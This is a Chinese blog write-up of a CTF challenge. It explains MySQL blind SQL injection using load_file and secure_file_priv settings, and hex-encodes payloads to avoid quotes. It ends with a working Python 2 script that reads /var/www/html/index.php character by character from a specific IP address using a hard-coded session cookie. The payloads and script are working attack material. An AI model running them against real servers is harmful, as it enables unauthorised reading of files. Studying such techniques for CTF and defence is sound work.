mysql 盲注 if_load_file进行mysql盲注+mysql的一些tip

1、前言

今天看了一道安恒杯的ctf题,里面load_file盲注的思路看起来有点意思,该思路没有用单引号,使用到sql查询文件内容。

1.mysqld启动

1.在利用mysql进行sql注入的测试中,遇到一些mysql启动上的问题,可以在mysql的启动或控制台日志查看

输入命令

mysqld --console

966f6eccd56b6a6ba33fdaf58327f824.png

2.其次是有时候不存在端口占用又无法启动mysqld的情况,需要进入services中将mysqla停掉,

做个记录,原因尚未探寻,如图,停掉箭头所指的mysqla

49c4131ee6024e873d5e2e8673010ae2.png

2、load_file开启

当前使用的是mysql5.7版本,需要进入my.ini中增加一行

0ad9a309e4b209e1c7c81c8947221a4e.png

默认开启所有目录尚未调试过,参考文章的链接如下

https://www.cnblogs.com/hackxf/p/8975501.html

针对其中提到一些重点进行记录,防止链接失效

secure_file_priv选项

secure_file_priv

1、限制mysqld 不允许导入 | 导出

--secure_file_prive=null

2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

--secure_file_priv=/tmp/

3、不对mysqld 的导入 | 导出做限制

--secure_file_priv=

linux

cat /etc/my.cnf

[mysqld]

secure_file_priv=

win

my.ini

[mysqld]

secure_file_priv=

查看secure_file_priv

show global variables like '%secure%';

3、mysql的load_file盲注

1.思路

当我们遇到不能使用select的情况下,可以使用load_file读取文件查询文件内容,当然,这个使用的条件自然是很苛刻的,正常来说高版本的secure_file_priv不会开启。

1)读取文件demo

select load_file('c:\sql.txt');

2)利用hex编码就可以减少或者不使用单引号

select hex(load_file(0x633a5c73716c2e747874))

3)利用if+like进行文件内容探测

首先使用if表达式来进行回显判断,比如

if(exp,1,0)

exp指代前面的表达式

然后使用like进行字符判断,比如like 'a%'就可以判断以a字符开头的字符内容是否存在。

if(exp,1,0)like(0x*25)

*这里指任意值

那么我们只要使用like去判断是否存在某字符开头,存在则加上这一次的字符进行下一次判断,直到符合的字符串出现。这样循环后,就可以得到最终的文件内容。问题是

停止条件是什么?可以这样想,我们使用所有的可见字符去爆破一个字母,当可见字符用完后,依旧没有得到结果,说明不存在这样的字符串,此时可以将它当做条件结束。

demo:

字符串abcde

判断abcde中是否存在a开头的字符,存在则结束本次判断,不存在则利用下一个可见字符判断,直到用完为止

存在a开头字符串,那么接下来判断aa是否存在,判断条件同上。

结束条件为所有可见字符用完为止

2.实现exp

python2

#coding:utf-8

import requests

import string

payload=string.printable

payload=list(payload)

file =""

db = ""

while True:

n = 1

end = len(payload)

#print end

for i in payload:

req = requests.session()

header = {

"Cookie":"__guid=206886163.707362614897664800.1543048794439.3918;PHPSESSID=4e6p8mktq1b5p84jnndsvqv166"

}

exp= "if(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))like(0x{temp}25),1,2)"

url = "http://101.71.29.5:10015/user/user.php?id="+exp

i = i.encode("hex")

url = url.format(temp=db+i)

res = req.get(url=url,headers=header)

#print res.status_code

if "user_id:1" in res.text:

print url

db = db + i

file = file + i.decode("hex")

print file

break

n = n + 1

if n == end:

print db

exit(0)

来源https://www.shuzhiduo.com/A/KE5Qvje0dL/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值